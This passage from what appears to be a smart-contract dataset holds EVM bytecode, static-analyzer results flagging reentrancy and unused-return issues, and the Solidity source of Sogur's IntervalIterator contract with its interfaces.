6020830192505050908051906020019060200280838360005b8381101561126557808201518184015260208101905061124a565b505050509050016040525050508093508192505050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e2a7515e898587858760006040518763ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200185815260200184815260200180602001838152602001828103825284818151815260200191508051906020019060200280838360005b8381101561138757808201518184015260208101905061136c565b50505050905001975050505050505050602060405180830381600087803b1580156113b157600080fd5b505af11580156113c5573d6000803e3d6000fd5b505050506040513d60208110156113db57600080fd5b8101908080519060200190929190505050508273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561146a57600080fd5b505afa15801561147e573d6000803e3d6000fd5b505050506040513d602081101561149457600080fd5b810190808051906020019092919050505094508585111561155c576114c286866134e690919063ffffffff16565b935060006114ef6127106114e16008548861375090919063ffffffff16565b6137d690919063ffffffff16565b905061150d8461150883886134e690919063ffffffff16565b6126b9565b61155a600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16828673ffffffffffffffffffffffffffffffffffffffff166138209092919063ffffffff16565b505b505050505b5050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061161057506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b611682576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff166351cff8d9826040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15801561170157600080fd5b505af1158015611715573d6000803e3d6000fd5b505050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60056020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611838576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146119b8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b8060088190555050565b61271081565b6000808373ffffffffffffffffffffffffffffffffffffffff166370a08231866040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611a4857600080fd5b505afa158015611a5c573d6000803e3d6000fd5b505050506040513d6020811015611a7257600080fd5b8101908080519060200190929190505050905060008573ffffffffffffffffffffffffffffffffffffffff16631f1fcd516040518163ffffffff1660e01b815260040160206040518083038186803b158015611acd57600080fd5b505afa158015611ae1573d6000803e3d6000fd5b505050506040513d6020811015611af757600080fd5b81019080805190602001909291905050509050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663085e2c5b8683858860006040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018381526020018281526020019550505050505060006040518083038186803b158015611bf657600080fd5b505afa158015611c0a573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506040811015611c3457600080fd5b810190808051906020019092919080516040519392919084640100000000821115611c5e57600080fd5b83820191506020820185811115611c7457600080fd5b8251866020820283011164010000000082111715611c9157600080fd5b8083526020830192505050908051906020019060200280838360005b83811015611cc8578082015181840152602081019050611cad565b50505050905001604052505050508093505050509392505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663722713f76040518163ffffffff1660e01b815260040160206040518083038186803b158015611d8a57600080fd5b505afa158015611d9e573d6000803e3d6000fd5b505050506040513d6020811015611db457600080fd5b81019080805190602001909291905050509050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611e7457506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b611ee6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f217374726174656769737400000000000000000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611fe7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260058152602001807f7661756c7400000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061211157506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b612183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f217374726174656769737400000000000000000000000000000000000000000081525060200191505060405180910390fd5b60011515600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514612286576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f21617070726f766564000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146123a3578073ffffffffffffffffffffffffffffffffffffffff1663853828b66040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561236657600080fd5b505af115801561237a573d6000803e3d6000fd5b505050506040513d602081101561239057600080fd5b8101908080519060200190929190505050505b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146124e8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60076020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b60046020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612676576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008173ffffffffffffffffffffffffffffffffffffffff16631f1fcd516040518163ffffffff1660e01b815260040160206040518083038186803b15801561276557600080fd5b505afa158015612779573d6000803e3d6000fd5b505050506040513d602081101561278f57600080fd5b810190808051906020019092919050505090508373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461298e576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506128a181858773ffffffffffffffffffffffffffffffffffffffff166138209092919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff1663def2489b846040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561292057600080fd5b505af1158015612934573d6000803e3d6000fd5b505050506040513d602081101561294a57600080fd5b8101908080519060200190929190505050935061298883858473ffffffffffffffffffffffffffffffffffffffff166138209092919063ffffffff16565b506129ba565b6129b982848673ffffffffffffffffffffffffffffffffffffffff166138209092919063ffffffff16565b5b8173ffffffffffffffffffffffffffffffffffffffff1663d0e30db06040518163ffffffff1660e01b8152600401600060405180830381600087803b158015612a0257600080fd5b505af1158015612a16573d6000803e3d6000fd5b5050505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612ae2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b6001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612c2357506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b612c95576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b612cc033828473ffffffffffffffffffffffffffffffffffffffff166138209092919063ffffffff16565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612d86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612e7257506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b612ee4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f217374726174656769737400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b60066020528160005260406000206020528060005260406000206000915091509054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146130a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146131ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f217661756c74000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561329e57600080fd5b505af11580156132b2573d6000803e3d6000fd5b505050505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60085481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061338e57506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b613400576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f217374726174656769737400000000000000000000000000000000000000000081525060200191505060405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663853828b66040518163ffffffff1660e01b8152600401602060405180830381600087803b1580156134a757600080fd5b505af11580156134bb573d6000803e3d6000fd5b505050506040513d60208110156134d157600080fd5b81019080805190602001909291905050505050565b600061352883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506138f1565b905092915050565b600081148061362a575060008373ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e30856040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b1580156135ed57600080fd5b505afa158015613601573d6000803e3d6000fd5b505050506040513d602081101561361757600080fd5b8101908080519060200190929190505050145b61367f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526036815260200180613d596036913960400191505060405180910390fd5b61374b838473ffffffffffffffffffffffffffffffffffffffff1663095ea7b3905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506139b1565b505050565b60008083141561376357600090506137d0565b600082840290508284828161377457fe5b04146137cb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d0e6021913960400191505060405180910390fd5b809150505b92915050565b600061381883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613bfc565b905092915050565b6138ec838473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506139b1565b505050565b600083831115829061399e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613963578082015181840152602081019050613948565b50505050905090810190601f1680156139905780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6139d08273ffffffffffffffffffffffffffffffffffffffff16613cc2565b613a42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e74726163740081525060200191505060405180910390fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b60208310613a915780518252602082019150602081019050602083039250613a6e565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114613af3576040519150601f19603f3d011682016040523d82523d6000602084013e613af8565b606091505b509150915081613b70576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656481525060200191505060405180910390fd5b600081511115613bf657808060200190516020811015613b8f57600080fd5b8101908080519060200190929190505050613bf5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613d2f602a913960400191505060405180910390fd5b5b50505050565b60008083118290613ca8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613c6d578082015181840152602081019050613c52565b50505050905090810190601f168015613c9a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581613cb457fe5b049050809150509392505050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f91506000801b8214158015613d045750808214155b9250505091905056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e6365a265627a7a72315820f9bc25d511e9a3842b98b2e656255c0c6ec6498a070d69e3a58b9e5b3f0f659664736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
6,747
0x58930d1c41452147c374155390d3363b24dc7032
pragma solidity 0.4.25; // File: contracts/sogur/interfaces/IModelDataSource.sol /** * @title Model Data Source Interface. */ interface IModelDataSource { /** * @dev Get interval parameters. * @param _rowNum Interval row index. * @param _colNum Interval column index. * @return Interval minimum amount of SGR. * @return Interval maximum amount of SGR. * @return Interval minimum amount of SDR. * @return Interval maximum amount of SDR. * @return Interval alpha value (scaled up). * @return Interval beta value (scaled up). */ function getInterval(uint256 _rowNum, uint256 _colNum) external view returns (uint256, uint256, uint256, uint256, uint256, uint256); /** * @dev Get interval alpha and beta. * @param _rowNum Interval row index. * @param _colNum Interval column index. * @return Interval alpha value (scaled up). * @return Interval beta value (scaled up). */ function getIntervalCoefs(uint256 _rowNum, uint256 _colNum) external view returns (uint256, uint256); /** * @dev Get the amount of SGR required for moving to the next minting-point. * @param _rowNum Interval row index. * @return Required amount of SGR. */ function getRequiredMintAmount(uint256 _rowNum) external view returns (uint256); } // File: contracts/sogur/interfaces/IMintingPointTimersManager.sol /** * @title Minting Point Timers Manager Interface. */ interface IMintingPointTimersManager { /** * @dev Start a given timestamp. * @param _id The ID of the timestamp. * @notice When tested, this timestamp will be either 'running' or 'expired'. */ function start(uint256 _id) external; /** * @dev Reset a given timestamp. * @param _id The ID of the timestamp. * @notice When tested, this timestamp will be neither 'running' nor 'expired'. */ function reset(uint256 _id) external; /** * @dev Get an indication of whether or not a given timestamp is 'running'. * @param _id The ID of the timestamp. * @return An indication of whether or not a given timestamp is 'running'. * @notice Even if this timestamp is not 'running', it is not necessarily 'expired'. */ function running(uint256 _id) external view returns (bool); /** * @dev Get an indication of whether or not a given timestamp is 'expired'. * @param _id The ID of the timestamp. * @return An indication of whether or not a given timestamp is 'expired'. * @notice Even if this timestamp is not 'expired', it is not necessarily 'running'. */ function expired(uint256 _id) external view returns (bool); } // File: contracts/sogur/interfaces/IIntervalIterator.sol /** * @title Interval Iterator Interface. */ interface IIntervalIterator { /** * @dev Move to a higher interval and start a corresponding timer if necessary. */ function grow() external; /** * @dev Reset the timer of the current interval if necessary and move to a lower interval. */ function shrink() external; /** * @dev Return the current interval. */ function getCurrentInterval() external view returns (uint256, uint256, uint256, uint256, uint256, uint256); /** * @dev Return the current interval coefficients. */ function getCurrentIntervalCoefs() external view returns (uint256, uint256); } // File: contracts/contract_address_locator/interfaces/IContractAddressLocator.sol /** * @title Contract Address Locator Interface. */ interface IContractAddressLocator { /** * @dev Get the contract address mapped to a given identifier. * @param _identifier The identifier. * @return The contract address. */ function getContractAddress(bytes32 _identifier) external view returns (address); /** * @dev Determine whether or not a contract address relates to one of the identifiers. * @param _contractAddress The contract address to look for. * @param _identifiers The identifiers. * @return A boolean indicating if the contract address relates to one of the identifiers. */ function isContractAddressRelates(address _contractAddress, bytes32[] _identifiers) external view returns (bool); } // File: contracts/contract_address_locator/ContractAddressLocatorHolder.sol /** * @title Contract Address Locator Holder. * @dev Hold a contract address locator, which maps a unique identifier to every contract address in the system. * @dev Any contract which inherits from this contract can retrieve the address of any contract in the system. * @dev Thus, any contract can remain "oblivious" to the replacement of any other contract in the system. * @dev In addition to that, any function in any contract can be restricted to a specific caller. */ contract ContractAddressLocatorHolder { bytes32 internal constant _IAuthorizationDataSource_ = "IAuthorizationDataSource"; bytes32 internal constant _ISGNConversionManager_ = "ISGNConversionManager" ; bytes32 internal constant _IModelDataSource_ = "IModelDataSource" ; bytes32 internal constant _IPaymentHandler_ = "IPaymentHandler" ; bytes32 internal constant _IPaymentManager_ = "IPaymentManager" ; bytes32 internal constant _IPaymentQueue_ = "IPaymentQueue" ; bytes32 internal constant _IReconciliationAdjuster_ = "IReconciliationAdjuster" ; bytes32 internal constant _IIntervalIterator_ = "IIntervalIterator" ; bytes32 internal constant _IMintHandler_ = "IMintHandler" ; bytes32 internal constant _IMintListener_ = "IMintListener" ; bytes32 internal constant _IMintManager_ = "IMintManager" ; bytes32 internal constant _IPriceBandCalculator_ = "IPriceBandCalculator" ; bytes32 internal constant _IModelCalculator_ = "IModelCalculator" ; bytes32 internal constant _IRedButton_ = "IRedButton" ; bytes32 internal constant _IReserveManager_ = "IReserveManager" ; bytes32 internal constant _ISagaExchanger_ = "ISagaExchanger" ; bytes32 internal constant _ISogurExchanger_ = "ISogurExchanger" ; bytes32 internal constant _SgnToSgrExchangeInitiator_ = "SgnToSgrExchangeInitiator" ; bytes32 internal constant _IMonetaryModel_ = "IMonetaryModel" ; bytes32 internal constant _IMonetaryModelState_ = "IMonetaryModelState" ; bytes32 internal constant _ISGRAuthorizationManager_ = "ISGRAuthorizationManager"; bytes32 internal constant _ISGRToken_ = "ISGRToken" ; bytes32 internal constant _ISGRTokenManager_ = "ISGRTokenManager" ; bytes32 internal constant _ISGRTokenInfo_ = "ISGRTokenInfo" ; bytes32 internal constant _ISGNAuthorizationManager_ = "ISGNAuthorizationManager"; bytes32 internal constant _ISGNToken_ = "ISGNToken" ; bytes32 internal constant _ISGNTokenManager_ = "ISGNTokenManager" ; bytes32 internal constant _IMintingPointTimersManager_ = "IMintingPointTimersManager" ; bytes32 internal constant _ITradingClasses_ = "ITradingClasses" ; bytes32 internal constant _IWalletsTradingLimiterValueConverter_ = "IWalletsTLValueConverter" ; bytes32 internal constant _BuyWalletsTradingDataSource_ = "BuyWalletsTradingDataSource" ; bytes32 internal constant _SellWalletsTradingDataSource_ = "SellWalletsTradingDataSource" ; bytes32 internal constant _WalletsTradingLimiter_SGNTokenManager_ = "WalletsTLSGNTokenManager" ; bytes32 internal constant _BuyWalletsTradingLimiter_SGRTokenManager_ = "BuyWalletsTLSGRTokenManager" ; bytes32 internal constant _SellWalletsTradingLimiter_SGRTokenManager_ = "SellWalletsTLSGRTokenManager" ; bytes32 internal constant _IETHConverter_ = "IETHConverter" ; bytes32 internal constant _ITransactionLimiter_ = "ITransactionLimiter" ; bytes32 internal constant _ITransactionManager_ = "ITransactionManager" ; bytes32 internal constant _IRateApprover_ = "IRateApprover" ; bytes32 internal constant _SGAToSGRInitializer_ = "SGAToSGRInitializer" ; IContractAddressLocator private contractAddressLocator; /** * @dev Create the contract. * @param _contractAddressLocator The contract address locator. */ constructor(IContractAddressLocator _contractAddressLocator) internal { require(_contractAddressLocator != address(0), "locator is illegal"); contractAddressLocator = _contractAddressLocator; } /** * @dev Get the contract address locator. * @return The contract address locator. */ function getContractAddressLocator() external view returns (IContractAddressLocator) { return contractAddressLocator; } /** * @dev Get the contract address mapped to a given identifier. * @param _identifier The identifier. * @return The contract address. */ function getContractAddress(bytes32 _identifier) internal view returns (address) { return contractAddressLocator.getContractAddress(_identifier); } /** * @dev Determine whether or not the sender relates to one of the identifiers. * @param _identifiers The identifiers. * @return A boolean indicating if the sender relates to one of the identifiers. */ function isSenderAddressRelates(bytes32[] _identifiers) internal view returns (bool) { return contractAddressLocator.isContractAddressRelates(msg.sender, _identifiers); } /** * @dev Verify that the caller is mapped to a given identifier. * @param _identifier The identifier. */ modifier only(bytes32 _identifier) { require(msg.sender == getContractAddress(_identifier), "caller is illegal"); _; } } // File: contracts/sogur/IntervalIterator.sol /** * Details of usage of licenced software see here: https://www.sogur.com/software/readme_v1 */ /** * @title Interval Iterator. */ contract IntervalIterator is IIntervalIterator, ContractAddressLocatorHolder { string public constant VERSION = "1.0.1"; uint256 public constant MAX_GROW_ROW = 94; uint256 public row; uint256 public col; /** * @dev Create the contract. * @param _contractAddressLocator The contract address locator. */ constructor(IContractAddressLocator _contractAddressLocator) ContractAddressLocatorHolder(_contractAddressLocator) public {} /** * @dev Return the contract which implements the IModelDataSource interface. */ function getModelDataSource() public view returns (IModelDataSource) { return IModelDataSource(getContractAddress(_IModelDataSource_)); } /** * @dev Return the contract which implements the IMintingPointTimersManager interface. */ function getMintingPointTimersManager() public view returns (IMintingPointTimersManager) { return IMintingPointTimersManager(getContractAddress(_IMintingPointTimersManager_)); } /** * @dev Move to a higher interval and start a corresponding timer if necessary. */ function grow() external only(_IMonetaryModel_) { if (col == 0) { row += 1; require(row <= MAX_GROW_ROW, "reached end of last interval"); getMintingPointTimersManager().start(row); } else { col -= 1; } } /** * @dev Reset the timer of the current interval if necessary and move to a lower interval. */ function shrink() external only(_IMonetaryModel_) { IMintingPointTimersManager mintingPointTimersManager = getMintingPointTimersManager(); if (mintingPointTimersManager.running(row)) { mintingPointTimersManager.reset(row); assert(row > 0); row -= 1; } else { col += 1; } } /** * @dev Return the current interval. */ function getCurrentInterval() external view returns (uint256, uint256, uint256, uint256, uint256, uint256) { return getModelDataSource().getInterval(row, col); } /** * @dev Return the current interval coefficients. */ function getCurrentIntervalCoefs() external view returns (uint256, uint256) { return getModelDataSource().getIntervalCoefs(row, col); } }
0x6080604052600436106100ae5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416633140873c81146100b357806344e43c98146100ca5780635298948e1461011257806370904ded1461012757806374bca4131461014e57806374f1649a1461018c578063a78695b0146101a1578063bf41a3dc146101b6578063ef5016cd146101cb578063f6fa059a146101e0578063ffa1ad741461020e575b600080fd5b3480156100bf57600080fd5b506100c8610298565b005b3480156100d657600080fd5b506100df6104c5565b604080519687526020870195909552858501939093526060850191909152608084015260a0830152519081900360c00190f35b34801561011e57600080fd5b506100c86105aa565b34801561013357600080fd5b5061013c61079a565b60408051918252519081900360200190f35b34801561015a57600080fd5b506101636107a0565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b34801561019857600080fd5b506101636107d0565b3480156101ad57600080fd5b5061013c6107ec565b3480156101c257600080fd5b506101636107f2565b3480156101d757600080fd5b5061013c61081d565b3480156101ec57600080fd5b506101f5610822565b6040805192835260208301919091528051918290030190f35b34801561021a57600080fd5b506102236108e2565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561025d578181015183820152602001610245565b50505050905090810190601f16801561028a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b60007f494d6f6e65746172794d6f64656c000000000000000000000000